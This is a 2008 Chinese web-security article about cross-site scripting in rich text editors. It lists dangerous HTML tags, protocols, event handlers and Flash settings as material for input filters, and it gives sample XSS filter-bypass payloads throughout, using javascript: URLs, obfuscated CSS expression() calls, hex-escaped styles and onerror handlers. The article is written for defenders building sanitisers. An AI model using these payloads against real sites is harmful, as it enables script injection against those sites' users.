奥运倒计时:
2008 中国挺住,中国加油!
全国人民对四川汶川大地震遇难同胞的深切哀悼!
设为首页
加入收藏
论坛登陆 用户名:
密码:
首页
新闻资讯
文章中心
黑客资源
黑客点睛
安全防护
软件下载
动画教程
会员咨询
技术问答
论坛社区
文章
下载
图片
文章
|
电脑知识
|
网络知识
|
菜鸟入门
|
入侵教程
|
黑客攻防
|
黑客编程
|
原创精华
|
黑客人物
|
黑客技术
|
提权技术
|
跨站技术
|
渗透技术
|
鸽子专题
|
您现在的位置:
太平洋安全网
>>
文章
>>
跨站技术
>> 正文
[图文]
富文本编辑器的跨站脚本问题参考
作者:
Ink
文章来源:
网络采集
点击数: 更新时间:2008-5-10
富文本编辑器是一个开放式的HTML内容编辑环境,必须实现文字样式、链接、图片等功能的HTML,所以用户POST的内容必须含有HTML标签,但是任由用户输入各类HTML标签,会造成一些潜在的恶意脚本
攻击
,借这类情况正好分析出现XSS的情况,主要针对IE浏览器.
一.首先是微软建议我们可能造成恶意脚本
攻击
的标签.
类似如下的
tag:
applet
base
basefont
bgsound
blink
body
embed
frame
frameset
head
html
ilayer
iframe
layer
link
meta
object
style
t
IT
le
script
-----------------------------------
类似这类
<tag
必须删除.
二.针对HTML属性值的协议
攻击
.
tag:
dynsrc=
href=
lowsrc=
src=
background=
value=
action=
bgsound=
黑客
可能利用如下协议:
脚本伪协议
vbscript:
javascript:
文件类协议
ms-
IT
s:
mhtml:
data:
第三方协议
firefoxurl:
mocha:
livescript:
---------------------------------
类似这类
<xxx tag=xxx:
如:
<IMG LOWSRC="javascript:alert('XSS')">
必须判断属性的用的啥协议,给个http:就好了.
三.针对普通HTML属性值的编码,
黑客
可利用HTML特性将属性值做编码绕过过滤.
&# 加 ASCII格式
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
---------------------------------
类似这类
<xxx tag=&#
必须判断属性的值&转换成 &
四.css样式style属性问题.
<XSS STYLE="xss:expression(alert('XSS'))">
<XSS STYLE="behavior: url(xss.htc);">
style属性可以和任意字符的标签结合,因此不是<tag>的问题,必须对style属性值做过滤.
behavior需指定域内也就是绝对路径的HTC文件,危害不大.
expression可以构造不同的全角字符和注释符来扰乱过滤规则.
如:
<XSS STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<XSS STYLE="xss:exprEssion(alert('XSS'))">
<div style="{ left:expression( alert('xss') ) }">
---------------------------------
类似这类
<xxx style="xxxxxxxxxx"
必须判断style属性的值, :( ~这里正则超级难写,实在不过滤的话,列个白名单,只允许某些值.
五.css样式style属性其他问题.
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="list-style-image: url("javascript:alert('XSS')">
<DIV style="-moz-binding:url(http://xxx.com/mozxss.xml#xss)">
---------------------------------
类似这类
<xxx style="xxxxxxx:url(xxxxx)"
还是判断协议头之类吧.
六.针对普通style属性值的编码,
黑客
可利用HTML特性将属性值做编码绕过过滤.
转义字符\ 加 16进制格式
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
---------------------------------
类似这类
<xxx style="xxxxxxx:\00xx\00xx"
搞个正则过滤\+数字的字符串.
七.针对正常标签组合事件触发脚本的问题.
黑客
可以利用类似事件触发脚本:
onload
onerror
onmousemove
onmouseout
onmouseover
onmouseup
onmouseenter
onmouseleave
onmousewheel
onscroll
....................................
类似这类
<xxx on*=
如:
<img src=xx onerror=alert(/xss/)>
情况都给过滤吧.
八.第三方媒体文件,崭只针对FLASH与WEB交互的问题.
FLASH的Action Script比较危险,可以和用户做交互式的访问.
可以设置Flash对象的AllowScriptAccess参数为never来解决问题。
AllowScriptAccess 参数有三个可选值,always、never 和 sameDomain
never 禁止运行对外脚本
always 可以运行对外脚本
sameDomain 只允许同一域下的Flash运行对外脚本
如
<embed src="demo.swf" qual
IT
y="high"
pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="550" height="400" AllowScriptAccess="never"></embed>
文章录入:Ink 责任编辑:Ink
上一篇文章:
跨站攻击之实现Http会话劫持的手法
下一篇文章:
如何防止Flash跨站攻击弹出IE窗口
【
发表评论
】【
加入收藏
】【
告诉好友
】【
打印此文
】【
关闭窗口
】
推荐
文章
网络视频PPStream官方网站的跨站(图)
热门
文章
此栏目下没有热点文章
本站
推荐
关于我们
|
联系方法
|
招聘信息
|
加入会员
|
诚征代理
|
广告服务
|
欢迎投稿
|
站长信箱
|
友情链接
|
网站地图
24小时客服:0374-7126138 技术支持:0374-7126138 投诉电话:0374-7967536
客服QQ:883039 售后QQ:827520 技术QQ:78305152 投稿-商业:576880739
Copyright 太平洋科技 2003-2007 版权所有 All Rights Reserved
许可证号:豫ICP备07005385号